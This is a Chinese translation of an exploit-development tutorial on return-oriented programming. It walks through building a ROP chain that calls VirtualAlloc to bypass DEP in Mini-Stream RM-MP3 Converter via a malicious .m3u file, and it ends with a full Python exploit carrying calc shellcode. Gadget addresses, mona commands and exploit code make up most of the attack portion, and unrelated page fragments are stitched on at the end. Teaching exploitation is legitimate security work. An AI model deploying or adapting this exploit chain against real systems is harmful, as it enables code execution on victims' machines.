返回导向编程 (ROP) 译者 :Netfairty 前言 欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将 要学习的是 ROP( 返回导向编程 ). 不像前一节我们把参数精心布置在堆栈然后调用 Windwos API 去执行它们. 所有介绍 ROP 教程都需
|
|
|
- 乘 印
- 7 years ago
- Views:
Transcription
1 返回导向编程 (ROP) 译者 :Netfairty 前言 欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将 要学习的是 ROP( 返回导向编程 ). 不像前一节我们把参数精心布置在堆栈然后调用 Windwos API 去执行它们. 所有介绍 ROP 教程都需要你做很多的工作才能掌握它. 但是在次提醒本教 程不会覆盖 ROP 所有细节. 如果你想更好的理解 ROP 我推荐你看 corelanc0d3r s 的文章 我将用 "Mini-Stream RM-MP3 Converter " 来介绍这项技术. 之前的一个漏洞利用程序 在这里, 但是我们要做一些不一样的东西, 它更高效. 调试机器 :Windows 7( 任何 Windows 7 版本都可以, 我用的是 WIN7 PRO SP1) 坏字符 : \x00\x09\x0a 漏洞软件 : 下载 介绍 为什么要学习 ROP? 人们滥用堆栈溢出很多年. 为了减轻攻击带来的损失. 微软从 WIN XP SP2 和 WIN SERVER 2003 开始引进了一项新的安全措施对抗从不可执行区域范围执行代码. DEP( 数据执行保护 ) 包含两部分 : 硬件 DEP: CPU 置内存为不可执行 软件 DEP 支持硬件 DEP 的 CPU 会拒绝执行被标记为不可执行的 (NX) 内存页的代码. 这么做的目的是防 止攻击者将恶意代码注入的另外一个程序执行. 尤其是基于栈溢出的漏洞, 由于 DEP, 上的 shellcode 将不会被执行. 但 DEP 有时会造成程序意外错误, 因为程序有时候可能需要在不可 执行区域执行代码. 为了解决这个问题, 微软提供了两种 DEP 配置. Opt-In Mode:DEP 只对系统进程和特别定义的进程启用 Opt-Out Mode:DEP 对系统所有进程和服务启用, 除了禁用的进程. 这对漏洞利用意味着什么? 当我们尝试在启用 DEP 的内存执行代码, 程序将会返回一个访 问冲突 STATUS_ACCESS_VIOLATION (0xc )". 然后程序就终止了. 对于攻击者来说这 显然不是好事. 但是有趣的是 DEP 可以被关闭, 这意味着调用某个 Windows API 可以把某段 不可执行区域设置为可执行. 主要的问题仍然是, 如果我们不能执行任何代码的话又怎么去调用这个 API 呢? 开始我们的 ROP( 返回导向编程 ). 这项技术最早由 Sebastian Krahmer 在 2005 的 SUSE Linux 提
2 出. 你可以在这里找到这篇文档. ROP 基本的思想是借助已经存在的代码块 ( 也叫配件 ), 这些 配件来自程序已经加载的模块, 用这些配件为我们的目标 API 设置参数. 我们可以在已加载 的模块中找到一些列以 retn 结尾的配件, 把这些配件的地址布置在堆栈上, 当控制 EIP 并返回时候, 程序就会跳去执行这些小配件, 而这些小配件是在别的模块代码段, 不受 DEP 的影 响. 这就是 ROP 的原理, 下面的这个例子可以帮助我们更好的理解它 : (1) 指针直接执行 retn (2) 指针指向一些指令 +retn ESP ->???????? => RETN ESP ->???????? => POP EAX # RETN???????? => RETN ffffffff => we put this value in EAX???????? => RETN???????? => INC EAX # RETN???????? => RETN???????? => XCHG EAX,EDX # RETN (1) 这里 retn 仅仅是增加 esp (2) 用配件将 EDX 清 0 相信你已经理解 ROP 的思想了. 下面我们列举所有的 ROP 配件一会会用它们布置目标 API 的参数, 目标 API 才是真正关闭 DEP 的函数. 这项技术成功的关键在于我们需要在未启用 ASLR 的模块去寻找这些小配件. 下面是不同的 API 在不同的系统下可用情况. 可以看到不止一种方法可以达到目的. 有些方法更普遍. 不同的 API 有不同的参数, 详细的 参数请看 MSDN. 一般而言系统模块都启用了 ASLR. 所以我们从软件自身加载的模块看是否 包含这些 API 的指针. 基本上有两种方式写 ROP (1) 把 API 需要的参数都放到寄存器, 用一个 push 指令把他们压入栈 ( 这是下面我们要做的 ) (2) 直接把 API 需要的参数布置到栈然后跳去这个 API 执行, 这种方法有点难. 最后我要提一点, 对 payload 创建一个完整的 ROP 也是可以的. 收集配件 漏洞利用比较抽象, 你得到的信息越多, 你看的就越清楚, 离成功也就越近. 让我们看看下 面这个 POC, BBBB 将会覆写 EIP.
3 #!/usr/bin/python import sys, struct file="crash.m3u" # Badchars: '\x00\x09\x0a' # crash = " + "A"* "B"*4 + "C"*7572 writefile = open (file, "w") writefile.write( crash ) writefile.close() 老办法, 附加 Mini-Stream 到调试器然后打开 crash.m3u 文件. 你可以看到下图所示的崩溃. 有几点值得注意 :(1)ESP 指向我们的缓冲区真是好消息因为我们可以用 retn 指令地址覆写 EIP 从而跳到我们 ROP 链的开始. (2) 我们看到 ESP 指向 EIP+4 的位置, 稍后我们要填充着 4 个 字节.
4 好. 我们基本搞清了内存布局. 用 mona 看看软件加载了哪些模块 ( 记住只要没有 non-base, no-aslr,no 坏字符 ). 看起来只有一个 dll 符合要求 (MSRMfilter03.dll). 接下来用 mona 搜索 ROP 链需要的小配件. 分别执行这两个命令 :!mona modules!mona ropfunc -m MSRMfilter03.dll -cpb '\x00\x09\x0a' 最后就是用 mona 在 MSRMfilter03.dll 找到这些小配件, mona 会生成几个重要的文件 :
5 rop.txt (ROP 配件的原始列表 ), rop_suggestions.txt ( 基于函数过滤后的 ROP 配件列表 ), stackpivot.txt ( 转移 ESP 的配件 ), rop_virtualprotect.txt ( 基于 VirtualProtect 函数的 ROP 链小 配件 ). 我建议打开这些文件方便随时参考. 尽管我们将要用 VirtualAlloc 去禁用 DEP, 我们同样会看看 rop_virtualprotect.txt 是否有我们需要的小配件.!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a' 构建 ROP-Chain 在开始之前, 像之前看到的我们可以用 retn 指令地址覆写 EIP, 如果你打开 rop.txt 你可以选 择其中一个 retn 地址, 用这个地址替换 BBBB, 别忘记填充 4 个自己 (ESP=EIP+4) #!/usr/bin/python import sys, struct file="crash.m3u" rop = struct.pack('<l',0x ) # padding to compensate 4-bytes at ESP
6 # Badchars: '\x00\x09\x0a' # # kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) # # EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) # crash = " + "A"* "\x60\x9c\x01\x10" + rop + "C"*(7572-len(rop)) writefile = open (file, "w") writefile.write( crash ) writefile.close() 不错, 下面看看 VirtualAlloc 这个 API. 我建议你花点时间读下 MSDN 文件, 便于更好理解我 们要使用的参数. VirtualAlloc: MSDN 结构 : 参数 : LPVOID WINAPI VirtualAlloc( => A pointer to VirtualAlloc() ); _In_opt_ LPVOID lpaddress, => Return Address (Redirect Execution to ESP) _In_ SIZE_T dwsize, => dwsize (0x1) _In_ DWORD flallocationtype, => flallocationtype (0x1000) _In_ DWORD flprotect => flprotect (0x40) 可以看到大部分参数值只需要保持默认即可. 你同样可以用 VirtualProtect 这个 API 去完成任务. VirtualProtect: MSDN 结构 : 参数 : BOOL WINAPI VirtualProtect( => A pointer to VirtualProtect() _In_ LPVOID lpaddress, => Return Address (Redirect Execution to ESP) ); _In_ SIZE_T dwsize, => dwsize up to you to chose as needed (0x201) _In_ DWORD flnewprotect, => flnewprotect (0x40) _Out_ PDWORD lpfloldprotect => A writable pointer 记住这些信息, 开始改变我们的 POC, 使我们对 ROP-Chain 有更清晰的认识 #!/usr/bin/python import sys, struct file="crash.m3u" # [Structure]-# # LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc # # _In_opt_ LPVOID lpaddress, => Return Address (Call to ESP) #
7 # _In_ SIZE_T dwsize, => dwsize (0x1) # # _In_ DWORD flallocationtype, => flallocationtype (0x1000) # # _In_ DWORD flprotect => flprotect (0x40) # # ); # # [Register Layout]-# # Remember (1) the stack grows downwards so we need to load the # # values into the registers in reverse order! (2) We are going to do # # some clever trickery to align our return after executing. To # # acchieve this we will be filling EDI with a ROP-Nop and we will be # # skipping ESP leaving it intact. # # # # EAX => Nop # # ECX => flprotect # # EDX => flallocationtype # # EBX => dwsize # # ESP???????? => Leave as is # # EBP???????? => Call to ESP (jmp, call, push,..) # # ESI???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 # # EDI 10019C60 => ROP-Nop same as EIP # rop = struct.pack('<l',0x ) # padding to compensate 4-bytes at ESP # Badchars: '\x00\x09\x0a' # # kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) # # EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) # crash = " + "A"* "\x60\x9c\x01\x10" + rop + "C"*(7572-len(rop)) writefile = open (file, "w") writefile.write( crash ) writefile.close() 现在我们的任务是把 ROP-Chain 综合在一起设置 VirtualAlloc 的值. 我们需要整理这些指针, 因为某些指令的执行可能会改变已经设置好的寄存器. 先整理一些简单的 (1) EDI -> We need to put a ROP-Nop in EDI 0x10029b57 # POP EDI # RETN 0x1002b9ff # ROP-Nop (we already have this value from EIP) (2) EBP -> Redirect Execution flow to ESP 0x100532ed # POP EBP # RETN 0x100371f5 # CALL ESP (!mona jmp -r ESP -m MSRMfilter03.dll -cpb '\x00\x09\x0a')
8 (3) EAX -> Fill with a regular NOP 0x # POP EAX # RETN 0x # NOP (just a regular NOP) (4) We need to end our chain with a PUSHAD 0x # PUSHAD # RETN (can be found in rop_virtualprotect.txt) 别的一些可能令人费解, 需要一些创造力. 但是在我的努力下能把我们需要的指令链在一起. 下面就是我布置的 ROP-Chain, 但这并不是唯一的选择. 布置 ROP 链有很多的方式, 发挥你 的创造力吧. (5) EBX -> dwsize (0x1) 0x10013b1c # POP EBX # RETN 0xffffffff # will be 0x1 (EBX will be set to 0xffffffff) 0x100319d3 # INC EBX # FPATAN # RETN \ Increasing EBX twice will set EBX to 0x x100319d3 # INC EBX # FPATAN # RETN / (6) EDX -> flallocationtype (0x1000) 0x1003fb3f # MOV EDX,E58B0001 # POP EBP # RETN (we move a static value into EDX for calculations) 0x # padding for POP EBP (compensation for the POP) 0x10013b1c # POP EBX # RETN 0x1A750FFF # ebx+edx => 0x1000 flallocationtype (FFFFFFFF-E58B0001=1A74FFFE => 1A74FFFE =1A750FFF) 0x10029f3e # ADD EDX,EBX # POP EBX # RETN 10 (when we add these valuse together the result is 0x ) 0x1002b9ff # Rop-Nop to compensate \ 0x1002b9ff # Rop-Nop to compensate 0x1002b9ff # Rop-Nop to compensate This is to compensate for the POP and RETN 10 0x1002b9ff # Rop-Nop to compensate 0x1002b9ff # Rop-Nop to compensate 0x1002b9ff # Rop-Nop to compensate / (7) ECX -> flprotect (0x40) (This technique works because EDX points to a valid memory location at run-time!! I tested this on windows XP and there it didn't seem to be the case. It would be an interesting exercise to make this gadget more universal.) 0x100280de # POP ECX # RETN 0xffffffff # will become 0x40 (ECX will be set to 0xffffffff) 0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN 0x x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN / 0x1002a487 # ADD ECX,ECX # RETN \ \ ECX will be set to
9 0x1002a487 # ADD ECX,ECX # RETN 0x1002a487 # ADD ECX,ECX # RETN Adding ECX to itself cycles ECX -> 1,2,4,8,10,20,40 -> 0x x1002a487 # ADD ECX,ECX # RETN 0x1002a487 # ADD ECX,ECX # RETN 0x1002a487 # ADD ECX,ECX # RETN / (8) ESI -> VirtualAlloc (We already have a pointer to VirtualAlloc (0x1005d060) but we need the DWORD value that is located at that pointer. Again here EBP points to a valid memory address (untested on XP).) 0x1002ba02 # POP EAX # RETN 0x1005d060 # kernel32.virtualalloc 0x10027f59 # MOV EAX,DWORD PTR DS:[EAX] # RETN (get the DWORD value located at 0x1005d060) 0x1005bb8e # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN (EAX -> ESI) 有些序列似乎有点复杂, 但他们不是很难理解, 需要一些时间来看看, 理解它们 正如你所看到的一些小配件操纵多个寄存器加载合适的值. 我们需要布置的小配件在这不会影响我 们的 ROP 链. 是时候把所有东西放在一起, 调整我们的 POC 如下 : #!/usr/bin/python import sys, struct file="crash.m3u" # [Structure]-# # LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc # # _In_opt_ LPVOID lpaddress, => Return Address (Call to ESP) # # _In_ SIZE_T dwsize, => dwsize (0x1) # # _In_ DWORD flallocationtype, => flallocationtype (0x1000) # # _In_ DWORD flprotect => flprotect (0x40) # # ); # # [Register Layout]-# # Remember (1) the stack grows downwards so we need to load the # # values into the registers in reverse order! (2) We are going to do # # some clever trickery to align our return after executing. To # # acchieve this we will be filling EDI with a ROP-Nop and we will be # # skipping ESP leaving it intact. # # # # EAX => Nop # # ECX => flprotect # # EDX => flallocationtype # # EBX => dwsize #
10 # ESP???????? => Leave as is # # EBP???????? => Call to ESP (jmp, call, push,..) # # ESI???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 # # EDI 10019C60 => ROP-Nop same as EIP # rop = struct.pack('<l',0x ) # padding to compensate 4-bytes at ESP rop += struct.pack('<l',0x10029b57) # POP EDI # RETN rop += struct.pack('<l',0x1002b9ff) # ROP-Nop # [ROP-Nop -> EDI]-# rop += struct.pack('<l',0x100280de) # POP ECX # RETN rop += struct.pack('<l',0xffffffff) # will become 0x40 rop += struct.pack('<l',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN rop += struct.pack('<l',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN # [flprotect (0x40) -> ECX]-# rop += struct.pack('<l',0x1002ba02) # POP EAX # RETN rop += struct.pack('<l',0x1005d060) # kernel32.virtualalloc rop += struct.pack('<l',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN rop += struct.pack('<l',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN # [VirtualAlloc -> ESI]-# rop += struct.pack('<l',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN rop += struct.pack('<l',0x ) # padding for POP EBP rop += struct.pack('<l',0x10013b1c) # POP EBX # RETN rop += struct.pack('<l',0x1a750fff) # ebx+edx => 0x1000 flallocationtype rop += struct.pack('<l',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10 # [flallocationtype (0x1000) -> EDX]-# rop += struct.pack('<l',0x100532ed) # POP EBP # RETN rop += struct.pack('<l',0x100371f5) # CALL ESP # [CALL ESP -> EBP]-# rop += struct.pack('<l',0x10013b1c) # POP EBX # RETN rop += struct.pack('<l',0xffffffff) # will be 0x1 rop += struct.pack('<l',0x100319d3) # INC EBX # FPATAN # RETN
11 rop += struct.pack('<l',0x100319d3) # INC EBX # FPATAN # RETN # [dwsize (0x1) -> EBX]-# rop += struct.pack('<l',0x ) # POP EAX # RETN rop += struct.pack('<l',0x ) # NOP # [NOP -> EAX]-# rop += struct.pack('<l',0x ) # PUSHAD # RETN # [PUSHAD -> pwnd!]-# # Badchars: '\x00\x09\x0a' # # kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) # # EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) # crash = " + "A"* "\x60\x9c\x01\x10" + rop + "C"*(7572-len(rop)) writefile = open (file, "w") writefile.write( crash ) writefile.close() 你可以调试这个 ROP 链, 以确保一切按计划进行. 在下面的截图中可以看到 VirtualAlloc 是在 堆栈上被调用的. 布置在后面的任何代码都会被执行.
12 Shellcode+ 游戏结束 ROP 第二阶段就是要插入我们要执行的 shellcode, 由于我们没有分配大量的内存, 所以我们 可控的空间是有限的. 没关系, 我使用 SkyLined 的 calc 这里 ). 但其实可以分配更大内存的, 这留给你们去完成. #!/usr/bin/python shellcode( 有兴趣的话你可以看看 # # # Exploit: Mini-stream RM-MP3 Converter (*.m3u) # # OS: Win7 Pro SP1 # # Author: b33f (Ruben Boonen) # # Software: # # /ce47c348747cd05020b242da250c0da3-mini-streamrm-mp3converter.exe # # # # This exploit was created for Part 7 of my Exploit Development tutorial # # series - # # # import sys, struct file="crash.m3u" # [Structure]-# # LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc # # _In_opt_ LPVOID lpaddress, => Return Address (Call to ESP) # # _In_ SIZE_T dwsize, => dwsize (0x1) # # _In_ DWORD flallocationtype, => flallocationtype (0x1000) # # _In_ DWORD flprotect => flprotect (0x40) # # ); # # [Register Layout]-# # Remember (1) the stack grows downwards so we need to load the # # values into the registers in reverse order! (2) We are going to do # # some clever trickery to align our return after executing. To # # acchieve this we will be filling EDI with a ROP-Nop and we will be # # skipping ESP leaving it intact. # # # # EAX => Nop # # ECX => flprotect # # EDX => flallocationtype # # EBX => dwsize # # ESP???????? => Leave as is # # EBP???????? => Call to ESP (jmp, call, push,..) # # ESI???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #
13 # EDI 10019C60 => ROP-Nop same as EIP # rop = struct.pack('<l',0x ) # padding to compensate 4-bytes at ESP rop += struct.pack('<l',0x10029b57) # POP EDI # RETN rop += struct.pack('<l',0x1002b9ff) # ROP-Nop # [ROP-Nop -> EDI]-# rop += struct.pack('<l',0x100280de) # POP ECX # RETN rop += struct.pack('<l',0xffffffff) # will become 0x40 rop += struct.pack('<l',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN rop += struct.pack('<l',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN # [flprotect (0x40) -> ECX]-# rop += struct.pack('<l',0x1002ba02) # POP EAX # RETN rop += struct.pack('<l',0x1005d060) # kernel32.virtualalloc rop += struct.pack('<l',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN rop += struct.pack('<l',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN # [VirtualAlloc -> ESI]-# rop += struct.pack('<l',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN rop += struct.pack('<l',0x ) # padding for POP EBP rop += struct.pack('<l',0x10013b1c) # POP EBX # RETN rop += struct.pack('<l',0x1a750fff) # ebx+edx => 0x1000 flallocationtype rop += struct.pack('<l',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10 # [flallocationtype (0x1000) -> EDX]-# rop += struct.pack('<l',0x100532ed) # POP EBP # RETN rop += struct.pack('<l',0x100371f5) # CALL ESP # [CALL ESP -> EBP]-# rop += struct.pack('<l',0x10013b1c) # POP EBX # RETN rop += struct.pack('<l',0xffffffff) # will be 0x1 rop += struct.pack('<l',0x100319d3) # INC EBX # FPATAN # RETN rop += struct.pack('<l',0x100319d3) # INC EBX # FPATAN # RETN # [dwsize (0x1) -> EBX]-# rop += struct.pack('<l',0x ) # POP EAX # RETN
14 rop += struct.pack('<l',0x ) # NOP # [NOP -> EAX]-# rop += struct.pack('<l',0x ) # PUSHAD # RETN # [PUSHAD -> pwnd!]-# # SkyLined's Calc shellcode calc = ( "\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64" "\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b" "\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20" "\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x42\xad\x81\x3c\x07" "\x57\x69\x6e\x45\x75\xf5\x0f\xb7\x54\x51\xfe\x8b\x74" "\x1f\x1c\x01\xfe\x03\x3c\x96\xff\xd7") # Badchars: '\x00\x09\x0a' # # kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) # # EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) # shell = "\x90"*5 + calc crash = " + "A"* "\x60\x9c\x01\x10" + rop + shell + "C"*(7572-len(rop + shell)) writefile = open (file, "w") writefile.write( crash ) writefile.close()
15 原文链接 :
ROP_bamboofox.key
ROP Return Oriented Programming Lays @ BambooFox Who Am I Lays / L4ys / 累死 - l4ys.tw Reverse Engineering BambooFox / HITCON Outline Buffer Overflow ret2libc / ret2text Return Oriented Programming Payload
"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x8
Writing W32 shellcode 译者 :Netfairy 前言 欢迎继续! 以前我们都是用现成的 shellcode, 今天我们将从头开始写我们自己的 shellcode. 这是一个十分有用的练习, 两个原因 : (1) 如果有一个漏洞有严重的空间限制 (2) 理解 ROP( 返回导向编程 ) 的好办法 为了加快速度我决定使用第一部分为 "FreeFloat FTP" 写的漏洞利用框架.
上面的介绍会使我们的漏洞利用更清晰. 再次说明这篇教程不会覆盖所有的系列, 你还需要 做更多的研究. 好吧, 开始我们的旅途! 重现崩溃 是时候崩溃了 "Triologic Media Player 8". 这将是另一个文件格式的漏洞. 下面是 POC 和崩溃的截图, 你只需载入 evil.m3u
Unicode 0x00410041 译者 :Netfairy 前言 欢迎来到漏洞利用系列教程第五部分. 注意到前面的难度逐渐递增并且都是建立在彼此的 基础上的. 这部分有点不一样, 是时候提高游戏难度, 杀死 unicode 这个怪物! 这部分教给你 两个宝贵的经验 :(1) 生活给屎黄金涂上了柠檬油漆 (2) 更加努力我将用 "Triologic Media Player 8" 演示 unicode
#!/usr/bin/python -w filename="evil.plf" buffer = "A"*2000 textfile = open(filename, 'w') textfile.write(buffer) textfile.close() 创建 plf 文件, 用 immunit
结构化异常处理 (SEH) 译者 :Netfairy 前言 这一节介绍漏洞利用中你会遇到的真正障碍. SEH 用于缓解缓冲区攻击造成的问题. 但它也 是有缺陷的. 先说明本文不会讨论 SafeSeh 或者 SEHOP, 稍后的 Part 3b 会解决这些保护机制. 我将用 DVD X Player 5.5 PRO 演示 SEH 利用. 已有的漏洞利用程序 : 这里 通常情况下漏洞利用之前我们需要先分析程序的坏字符,
寻蛋技术 译者 :Netfairy 前言 欢迎来到漏洞利用开发系列教程第四部分. 这部分讲解一项很酷的技术 : 寻蛋. 这部分我将 用 Kolibri v2.0 HTTP Server 演示这项技术. 这里有写好的漏洞利用程序 : 这里 坏字符 : \x00\x0d\x0a\x3d\x20\x3f
寻蛋技术 译者 :Netfairy 前言 欢迎来到漏洞利用开发系列教程第四部分. 这部分讲解一项很酷的技术 : 寻蛋. 这部分我将 用 Kolibri v2.0 HTTP Server 演示这项技术. 这里有写好的漏洞利用程序 : 这里 坏字符 : \x00\x0d\x0a\x3d\x20\x3f 漏洞利用环境 :Backtrack 5 调试机器 :Windows XP PRO SP3 漏洞软件 :
Lorem ipsum dolor sit amet, consectetuer adipiscing elit
English for Study in Australia 留 学 澳 洲 英 语 讲 座 Lesson 3: Make yourself at home 第 三 课 : 宾 至 如 归 L1 Male: 各 位 朋 友 好, 欢 迎 您 收 听 留 学 澳 洲 英 语 讲 座 节 目, 我 是 澳 大 利 亚 澳 洲 广 播 电 台 的 节 目 主 持 人 陈 昊 L1 Female: 各 位
漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 [email protected] HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字
适 合 读 者 : 入 侵 爱 好 者 溢 出 爱 好 者 前 置 知 识 : 汇 编 语 言 缓 冲 区 溢 出 基 本 原 理 文 / 图 何 永 强 Word 畸 形 数 据 结 构 溢 出 漏 洞 分 析 与 利 用 以 前 都 是 写 远 程 溢 出 漏 洞, 感 觉 也 该 换 换 口 味 了 事 实 上,2005 年 以 来 的 远 程 溢 出 漏 洞, 如 MS05-039 MS06-040
1 CPU interrupt INT trap CPU exception
1 CPU interrupt INT trap CPU exception 2 X86 CPU gate 64 16 1 2 5 8 16 16 P DPL 00101 TSS 101 DPL P 1 64 16 1 2 1 1 3 3 5 16 16 16 P DPL 0 D 000 16 110 111 100 D 1=32 0=16 DPL P 1 INT DPL1>=CPL>=DPL CPU
06721 main() lock pick proc() restart() [2][4] MINIX minix2.0 GDT, IDT irq table[] CPU CPU CPU CPU (IDTR) idt[] CPU _hwint00:! Interrupt
MINIX ( 730000) ( 730000) MINIX MINIX2.0 MINIX : MINIX TP3 1 MINIX UNIX Tanenbaum UNIX MINIX LINUX MINIX MINIX MINIX1.0 UNIX V7 MINIX2.0[3] POSIX MINIX3 MINIX Gabriel A. Wainer 1994-1995 [5] 1998 I/O 2002
Windows XP
Windows XP What is Windows XP Windows is an Operating System An Operating System is the program that controls the hardware of your computer, and gives you an interface that allows you and other programs
int *p int a 0x00C7 0x00C7 0x00C int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++;
Memory & Pointer [email protected] 2.1 2.1.1 1 int *p int a 0x00C7 0x00C7 0x00C7 2.1.2 2 int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++; 2.1.3 1. 2. 3. 3 int A,
untitled
CPU!! 00-11-8 Liping zhang, Tsinghua 1 : ADD(r1, r, r) CMPLEC(r, 5, r0) MUL(r1, r, r) SUB(r1, r, r5) ADD r, ( ) r CMP. CMP r.. t t + 1 t + t + t + t + 5 t + 6 IF( ) ADD CMP MUL SUB RF NOP ADD CMP MUL SUB
Microsoft PowerPoint - XCon2010_win7_cn.ppt [兼容模式]
绕过 windows 7 浏览器内存保护 Chen XiaoBo [email protected] Xie Jun [email protected] com Windows 保护机制回顾 GS Stack cookies 防止覆盖 EIP 可以通过覆盖 SEH chains 来绕过 /GS 保护 SafeSEH & SEHOP SEH handler 验证 可以通过已注册的 SEH handler
> u eip l 3 002f2aa9 90 nop 002f2aaa 90 nop >!chkimg -d -lo 1 ping // 检查文件是否被篡改? 002f2aa7-002f2aaa 4 bytes - ping!maincrtstartup [ e :f0 cc 9
在 WINDBG 中定位 ExceptionAddress 核心技术部陈庆 关键字 : 调试异常 windbg second chance ExceptionAddress 摘要 : 在 windbg 中调试时, 碰上 second chance 时, 栈回溯已经看不到与 ExceptionAddress 直接相关的信息, 但我们调试的目的就是要找到 ExceptionAddress 本文介绍了几种通用思路来解决这个问题
Slide 1
1 分钟用 Java 原生层漏洞搞定 Win7+JRE7 一个漏洞, 三种利用 今天我们不会讲如何挖掘 Java 原生 层漏洞, 而是讲如何 料理 它们 自我介绍 趋势科技中国研发中心, 架构师 研究方向包括 漏洞挖掘, 沙盒技术, APT 攻击解决方案 重度动漫宅 议程 背景介绍 今天要使用的漏洞 Exploit 方法 1 Exploit 方法 2 Exploit 方法 3 总结 何为 Java
可 愛 的 動 物 小 五 雷 雅 理 第 一 次 小 六 甲 黃 駿 朗 今 年 暑 假 發 生 了 一 件 令 人 非 常 難 忘 的 事 情, 我 第 一 次 參 加 宿 營, 離 開 父 母, 自 己 照 顧 自 己, 出 發 前, 我 的 心 情 十 分 緊 張 當 到 達 目 的 地 後
郭家朗 許鈞嵐 劉振迪 樊偉賢 林洛鋒 第 36 期 出版日期 28-3-2014 出版日期 28-3-2014 可 愛 的 動 物 小 五 雷 雅 理 第 一 次 小 六 甲 黃 駿 朗 今 年 暑 假 發 生 了 一 件 令 人 非 常 難 忘 的 事 情, 我 第 一 次 參 加 宿 營, 離 開 父 母, 自 己 照 顧 自 己, 出 發 前, 我 的 心 情 十 分 緊 張 當 到 達 目
Microsoft Word - 08_科普作品選讀示例一_080421.doc
選 修 單 元 八 科 普 作 品 選 讀 示 例 一 一 學 習 目 標 閱 讀 優 秀 的 科 普 作 品, 拓 寬 閱 讀 面 知 識 領 域 和 生 活 視 野, 寫 作 以 科 學 為 題 材 的 文 章, 提 升 寫 作 能 力, 增 進 對 科 學 的 興 趣, 培 養 審 慎 嚴 謹 的 態 度 與 尚 實 求 真 的 精 神, 以 及 關 心 世 界 仁 民 愛 物 的 人 文 情
Windows RTEMS 1 Danilliu MMI TCP/IP QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos eco
Windows RTEMS 1 Danilliu MMI TCP/IP 80486 QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos ecos Email www.rtems.com RTEMS ecos RTEMS RTEMS Windows
前沿技术 全面绕过执行流保护 安全研究部张云海 执行流保护 (CFG,Control Flow Guard) 是微软在 Windows 10 技术预览版与 Windows 8.1 update 3 中, 默认启用的一项缓解技术 在分析 CFG 的实现机制的过程中, 我们发现了一种全面绕过 CFG 的
全面绕过执行流保护 安全研究部张云海 执行流保护 (CFG,Control Flow Guard) 是微软在 Windows 10 技术预览版与 Windows 8.1 update 3 中, 默认启用的一项缓解技术 在分析 CFG 的实现机制的过程中, 我们发现了一种全面绕过 CFG 的方法, 并配合微软修复了这一问题 背景 FG 是微软在 Windows 10 技术预览 C版与 Windows
1.ai
HDMI camera ARTRAY CO,. LTD Introduction Thank you for purchasing the ARTCAM HDMI camera series. This manual shows the direction how to use the viewer software. Please refer other instructions or contact
<4D F736F F D20CEC4BCFEBCB6B6F1D2E2B4FAC2EBC9A8C3E8D2FDC7E6D6D0B5C4BCD3BFC7CAB6B1F0BCBCCAF52E646F6378>
文件级恶意代码扫描引擎中的加壳识别技术 安天实验室 Swordlea 2003 年 12 月 25 日 在文件级恶意代码扫描引擎的设计与实现过程中, 加壳后样本的特征选取和识别是较为棘手的问题 恶意代码的制作者为了使其作品传播更广, 往往使用软件加壳的方式 样本被加壳以后, 其原有特征码被变形或彻底隐藏, 在一定程度中增加了样本分析与识别的难度 目前反病毒公司在对加壳后样本的处理上一般采用以下几种方式
+00DE _01EN.book
